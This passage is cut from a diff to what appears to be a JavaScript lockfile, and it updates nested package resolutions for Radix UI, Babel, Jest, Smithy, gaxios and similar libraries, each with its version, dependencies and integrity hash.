"sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], "@radix-ui/react-arrow/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="], @@ -7153,12 +7073,22 @@ "@radix-ui/react-checkbox/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="], + "@radix-ui/react-dialog/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="], + + "@radix-ui/react-dialog/@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ=="], + + "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="], + + "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="], + "@radix-ui/react-dropdown-menu/@radix-ui/react-id/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w=="], "@radix-ui/react-dropdown-menu/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.0", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-FUCf5XMfmW4dtYl69pdS4DbxKy8nj4M7SafBgPllysxmdachynNflAdp/gCsnYWNDnge6tI9onzMp5ARYc1KNw=="], "@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="], + "@radix-ui/react-focus-scope/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="], + "@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D94LjX4Sp0xJFVaoQOd3OO9k7tpBYNOXdVhkltUbGv2Qb9OXdrg/CpsjlZv7ia14Sylv398LswWBVVu5nqKzAQ=="], "@radix-ui/react-hover-card/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-vyL82j40hcFicA+M4Ex7hVkB9vHgSse1ZWomAqV2Je3RleKGO5iM8KMOEtfoSB0PnIelMd2lATjTGMYqN5ylTg=="], @@ -7199,8 +7129,12 @@ "@radix-ui/react-popper/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.2", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-YeTpuq4deV+6DusvVUW4ivBgnkHwECUu0BiN43L5UCDFgdhsRUWAghhTF5MbvNTPzmiFOx90asDSUjWuCNapwg=="], + "@radix-ui/react-portal/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="], + "@radix-ui/react-progress/@radix-ui/react-primitive/@radix-ui/react-slot": ["@radix-ui/react-slot@1.1.2", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-YAKxaiGsSQJ38VzKH86/BPRC4rh+b1Jpa+JneA5LRE7skmLPNAyeG8kPJj/oo4STLvlrs8vkf/iYyc3A5stYCQ=="], + "@radix-ui/react-select/@radix-ui/react-dismissable-layer/@radix-ui/react-use-escape-keydown": ["@radix-ui/react-use-escape-keydown@1.1.1", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g=="], + "@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="], "@radix-ui/react-select/@radix-ui/react-popper/@radix-ui/react-use-rect": ["@radix-ui/react-use-rect@1.1.1", "", { "dependencies": { "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w=="], @@ -7237,26 +7171,42 @@ "@smithy/credential-provider-imds/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="], - "@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], - - "@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@types/winston/winston/logform": ["logform@2.6.0", "", { "dependencies": { "@colors/colors": "1.6.0", "@types/triple-beam": "^1.3.2", "fecha": "^4.2.0", "ms": "^2.1.1", "safe-stable-stringify": "^2.3.1", "triple-beam": "^1.3.0" } }, "sha512-1ulHeNPp6k/LD8H91o7VYFBng5i1BDE7HoKxVbZiGFidS1Rj65qcywLxX+pVfAPoQJEjRdvKcusKwOupHCVOVQ=="], "@types/winston/winston/winston-transport": ["winston-transport@4.7.0", "", { "dependencies": { "logform": "^2.3.2", "readable-stream": "^3.6.0", "triple-beam": "^1.3.0" } }, "sha512-ajBj65K5I7denzer2IYW6+2bNIVqLGDHqDw3Ow8Ohh+vdW+rv4MZ6eiDvHoKhfJFZ2auyN8byXieDDJ96ViONg=="], + "@types/ws/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], + "@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + "@vitejs/plugin-react/@babel/core/@babel/code-frame": ["@babel/code-frame@7.29.0", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.28.5", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw=="], + + "@vitejs/plugin-react/@babel/core/@babel/generator": ["@babel/generator@7.29.1", "", { "dependencies": { "@babel/parser": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.28.6", "", { "dependencies": { "@babel/compat-data": "^7.28.6", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA=="], + + "@vitejs/plugin-react/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.6", "", { "dependencies": { "@babel/helper-module-imports": "^7.28.6", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA=="], + + "@vitejs/plugin-react/@babel/core/@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="], + + "@vitejs/plugin-react/@babel/core/@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="], + + "@vitejs/plugin-react/@babel/core/@babel/template": ["@babel/template@7.28.6", "", { "dependencies": { "@babel/code-frame": "^7.28.6", "@babel/parser": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ=="], + + "@vitejs/plugin-react/@babel/core/@babel/traverse": ["@babel/traverse@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/types": "^7.29.0", "debug": "^4.3.1" } }, "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA=="], + + "@vitejs/plugin-react/@babel/core/@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="], + "ajv-formats/ajv/json-schema-traverse": ["json-schema-traverse@1.0.0", "", {}, "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="], - "browserify-sign/readable-stream/core-util-is": ["core-util-is@1.0.3", "", {}, "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ=="], + "body-parser/raw-body/http-errors": ["http-errors@2.0.1", "", { "dependencies": { "depd": "~2.0.0", "inherits": "~2.0.4", "setprototypeof": "~1.2.0", "statuses": "~2.0.2", "toidentifier": "~1.0.1" } }, "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ=="], "browserify-sign/readable-stream/isarray": ["isarray@1.0.0", "", {}, "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="], "browserify-sign/readable-stream/safe-buffer": ["safe-buffer@5.1.2", "", {}, "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="], + "caniuse-api/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + "caniuse-api/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], "chalk/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], @@ -7271,14 +7221,32 @@ "compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], + "core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], + + "core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + + "cytoscape-fcose/cose-base/layout-base": ["layout-base@2.0.1", "", {}, "sha512-dp3s92+uNI1hWIpPGH3jK2kxE2lMjdXdr+DH8ynZHpd6PUlH6x6cbuXnoMmiNumznqaNO31xu9e79F0uuZ0JFg=="], + + "d3-sankey/d3-array/internmap": ["internmap@1.0.1", "", {}, "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw=="], + + "d3-sankey/d3-shape/d3-path": ["d3-path@1.0.9", "", {}, "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg=="], + "data-urls/whatwg-url/tr46": ["tr46@5.1.1", "", { "dependencies": { "punycode": "^2.3.1" } }, "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw=="], "data-urls/whatwg-url/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="], + "eslint/@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="], + "expect/jest-message-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="], "expect/jest-message-util/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="], + "expect/jest-util/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="], + + "expect/jest-util/ci-info": ["ci-info@3.9.0", "", {}, "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ=="], + + "expect/jest-util/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], + "express-session/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], "express-static-gzip/serve-static/send": ["send@0.19.0", "", { "dependencies": { "debug": "2.6.9", "depd": "2.0.0", "destroy": "1.2.0", "encodeurl": "~1.0.2", "escape-html": "~1.0.3", "etag": "~1.8.1", "fresh": "0.5.2", "http-errors": "2.0.0", "mime": "1.6.0", "ms": "2.1.3", "on-finished": "2.4.1", "range-parser": "~1.2.1", "statuses": "2.0.1" } }, "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw=="], @@ -7287,15 +7255,17 @@ "form-data/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "gaxios/https-proxy-agent/agent-base": ["agent-base@6.0.2", "", { "dependencies": { "debug": "4" } }, "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ=="], + "gaxios/https-proxy-agent/agent-base": ["agent-base@7.1.0", "", { "dependencies": { "debug": "^4.3.4" } }, "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg=="], - "google-auth-library/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="], + "gaxios/https-proxy-agent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "gcp-metadata/gaxios/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="], + + "glob/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="], "google-auth-library/gcp-metadata/google-logging-utils": ["google-logging-utils@0.0.2", "", {}, "sha512-NEgUnEcBiP5HrPzufUkBzJOD/Sxsco3rLNo1F1TNf7ieU8ryUzBhqba8r756CjLX7rn3fHl6iLEwPYuqpoKgQQ=="], - "googleapis-common/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="], - - "gtoken/gaxios/https-proxy-agent": ["https-proxy-agent@7.0.2", "", { "dependencies": { "agent-base": "^7.0.2", "debug": "4" } }, "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA=="], + "happy-dom/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], "hast-util-from-html-isomorphic/@types/hast/@types/unist": ["@types/unist@2.0.10", "", {}, "sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA=="], @@ -7337,6 +7307,8 @@ "jest-config/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="], + "jest-config/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], + "jest-config/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="], "jest-config/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], @@ -7345,28 +7317,20 @@ "jest-each/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], - "jest-environment-node/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="], - "jest-leak-detector/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], "jest-message-util/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], - "jest-mock/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], - - "jest-runtime/@jest/fake-timers/@sinonjs/fake-timers": ["@sinonjs/fake-timers@13.0.5", "", { "dependencies": { "@sinonjs/commons": "^3.0.1" } }, "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw=="], - "jest-runtime/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, 